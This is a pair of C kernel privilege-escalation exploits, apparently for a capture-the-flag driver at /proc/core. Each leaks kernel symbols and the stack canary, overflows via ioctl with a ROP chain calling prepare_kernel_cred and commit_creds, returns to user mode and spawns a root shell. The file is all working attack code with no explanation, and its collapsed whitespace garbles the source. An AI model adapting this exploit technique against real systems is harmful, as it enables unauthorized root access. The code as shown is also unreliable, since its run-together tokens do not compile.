// gcc exp.c -static -masm=intel -g -o exp
#include<sys/types.h>#include<stdio.h>#include<linux/userfaultfd.h>#include<pthread.h>#include<errno.h>#include<unistd.h>#include<stdlib.h>#include<fcntl.h>#include<signal.h>#include<poll.h>#include<string.h>#include<sys/mman.h>#include<sys/syscall.h>#include<sys/ioctl.h>#include<sys/sem.h>#include<semaphore.h>#include<poll.h>voidsuccess(constchar*msg){char*buf=calloc(0x1000,1);sprintf(buf,"\033[32m\033[1m[+] %s\033[0m",msg);fprintf(stderr,"%s",buf);free(buf);}voidfail(constchar*msg){char*buf=calloc(0x1000,1);sprintf(buf,"\033[31m\033[1m[x] %s\033[0m",msg);fprintf(stderr,"%s",buf);free(buf);}voiddebug(constchar*msg){#ifdef DEBUG
char*buf=calloc(0x1000,1);sprintf(buf,"\033[34m\033[1m[*] %s\033[0m",msg);fprintf(stderr,"%s",buf);free(buf);#endif
}voidprintvar(voidhandle(constchar*),char*hint,size_tvar){char*buf=calloc(0x1000,1);sprintf(buf,"%s: 0x%lx\n",hint,var);handle(buf);free(buf);}size_tuser_cs,user_ss,user_rflags,user_sp;voidsaveStatus(){__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");user_sp&=~0xf;success("Status has been saved.\n");printvar(debug,"cs",user_cs);printvar(debug,"ss",user_ss);printvar(debug,"rsp",user_sp);printvar(debug,"rflags",user_rflags);}voidgetRootShell(){success("Backing from the kernelspace.\n");if(getuid()){fail("Failed to get the root!\n");exit(-1);}success("Successful to get the root. Execve root shell now...\n");system("/bin/sh");exit(0);// to exit the process normally instead of segmentation fault
}intfd;size_tcommit_creds,prepare_kernel_cred,swapgs_restore_regs_and_return_to_usermode,off;voidleakAddr(){FILE*kallsyms=fopen("/tmp/kallsyms","r");size_taddr=0;chart[2]={0},name[128]={0};while(fscanf(kallsyms,"%lx%s%s",&addr,t,name)!=EOF){if(!strcmp(name,"commit_creds")){commit_creds=addr;off=commit_creds-0xffffffff8109c8e0;printvar(success,"leak commit_creds",addr);printvar(debug,"offset",off);}if(!strcmp(name,"prepare_kernel_cred")){prepare_kernel_cred=addr;printvar(success,"leak prepare_kernel_cred",addr);}if(!strcmp(name,"swapgs_restore_regs_and_return_to_usermode")){swapgs_restore_regs_and_return_to_usermode=addr;printvar(success,"leak swapgs_restore_regs_and_return_to_usermode",addr);swapgs_restore_regs_and_return_to_usermode+=22;}}fclose(kallsyms);}size_tcanary;voidleakCanary(){size_t*buf=calloc(0x1000,1);ioctl(fd,0x6677889C,0x40);ioctl(fd,0x6677889B,buf);canary=buf[0];printvar(success,"leak canary",canary);free(buf);}voidpwn(){fd=open("/proc/core",O_RDWR);leakAddr();leakCanary();size_t*rop=calloc(0x800,1);size_tpop_rdi_ret=off+0xffffffff81000b2f;size_tmov_rdi_rax_jmp_rdx=off+0xffffffff8106a6d2;size_tpop_rdx_ret=off+0xffffffff810a0f49;intcur=8;rop[cur++]=canary;rop[cur++]=canary;rop[cur++]=pop_rdi_ret;rop[cur++]=0;rop[cur++]=prepare_kernel_cred;rop[cur++]=pop_rdx_ret;rop[cur++]=commit_creds;rop[cur++]=mov_rdi_rax_jmp_rdx;rop[cur++]=swapgs_restore_regs_and_return_to_usermode;rop[cur++]=0;rop[cur++]=0;rop[cur++]=(size_t)getRootShell;rop[cur++]=user_cs;rop[cur++]=user_rflags;rop[cur++]=user_sp;rop[cur++]=user_ss;write(fd,rop,0x800);free(rop);ioctl(fd,0x6677889A,0xffffffffffff0000|(0x100));close(fd);}intmain(){saveStatus();pwn();return0;}
// gcc exp.c -static -masm=intel -g -o exp
#include<sys/types.h>#include<stdio.h>#include<linux/userfaultfd.h>#include<pthread.h>#include<errno.h>#include<unistd.h>#include<stdlib.h>#include<fcntl.h>#include<signal.h>#include<poll.h>#include<string.h>#include<sys/mman.h>#include<sys/syscall.h>#include<sys/ioctl.h>#include<sys/sem.h>#include<semaphore.h>#include<poll.h>voidsuccess(constchar*msg){char*buf=calloc(0x1000,1);sprintf(buf,"\033[32m\033[1m[+] %s\033[0m",msg);fprintf(stderr,"%s",buf);free(buf);}voidfail(constchar*msg){char*buf=calloc(0x1000,1);sprintf(buf,"\033[31m\033[1m[x] %s\033[0m",msg);fprintf(stderr,"%s",buf);free(buf);}voiddebug(constchar*msg){#ifdef DEBUG
char*buf=calloc(0x1000,1);sprintf(buf,"\033[34m\033[1m[*] %s\033[0m",msg);fprintf(stderr,"%s",buf);free(buf);#endif
}voidprintvar(voidhandle(constchar*),char*hint,size_tvar){char*buf=calloc(0x1000,1);sprintf(buf,"%s: 0x%lx\n",hint,var);handle(buf);free(buf);}size_tuser_cs,user_ss,user_rflags,user_sp;voidsaveStatus(){__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");user_sp&=~0xf;success("Status has been saved.\n");printvar(debug,"cs",user_cs);printvar(debug,"ss",user_ss);printvar(debug,"rsp",user_sp);printvar(debug,"rflags",user_rflags);}voidgetRootShell(){success("Backing from the kernelspace.\n");if(getuid()){fail("Failed to get the root!\n");exit(-1);}success("Successful to get the root. Execve root shell now...\n");system("/bin/sh");exit(0);// to exit the process normally instead of segmentation fault
}intfd;size_tcommit_creds,prepare_kernel_cred,off;voidleakAddr(){FILE*kallsyms=fopen("/tmp/kallsyms","r");size_taddr=0;chart[2]={0},name[128]={0};while(fscanf(kallsyms,"%lx%s%s",&addr,t,name)!=EOF){if(!strcmp(name,"commit_creds")){commit_creds=addr;off=commit_creds-0xffffffff8109c8e0;printvar(success,"leak commit_creds",addr);printvar(debug,"offset",off);}if(!strcmp(name,"prepare_kernel_cred")){prepare_kernel_cred=addr;printvar(success,"leak prepare_kernel_cred",addr);}}fclose(kallsyms);}size_tcanary;voidleakCanary(){size_t*buf=calloc(0x1000,1);ioctl(fd,0x6677889C,0x40);ioctl(fd,0x6677889B,buf);canary=buf[0];printvar(success,"leak canary",canary);free(buf);}voidpwn(){fd=open("/proc/core",O_RDWR);leakAddr();leakCanary();size_t*rop=calloc(0x800,1);size_tpop_rdi_ret=off+0xffffffff81000b2f;size_tmov_rdi_rax_jmp_rdx=off+0xffffffff8106a6d2;size_tpop_rdx_ret=off+0xffffffff810a0f49;size_tswapgs_popfq_ret=off+0xffffffff81a012da;size_tiretq=off+0xffffffff81050ac2;intcur=8;rop[cur++]=canary;rop[cur++]=canary;rop[cur++]=pop_rdi_ret;rop[cur++]=0;rop[cur++]=prepare_kernel_cred;rop[cur++]=pop_rdx_ret;rop[cur++]=commit_creds;rop[cur++]=mov_rdi_rax_jmp_rdx;rop[cur++]=swapgs_popfq_ret;rop[cur++]=0;rop[cur++]=iretq;rop[cur++]=0;// dummy rip
rop[cur++]=user_cs;rop[cur++]=user_rflags;rop[cur++]=user_sp;rop[cur++]=user_ss;write(fd,rop,0x800);free(rop);ioctl(fd,0x6677889A,0xffffffffffff0000|(0x100));close(fd);}intmain(){signal(SIGSEGV,getRootShell);saveStatus();pwn();return0;}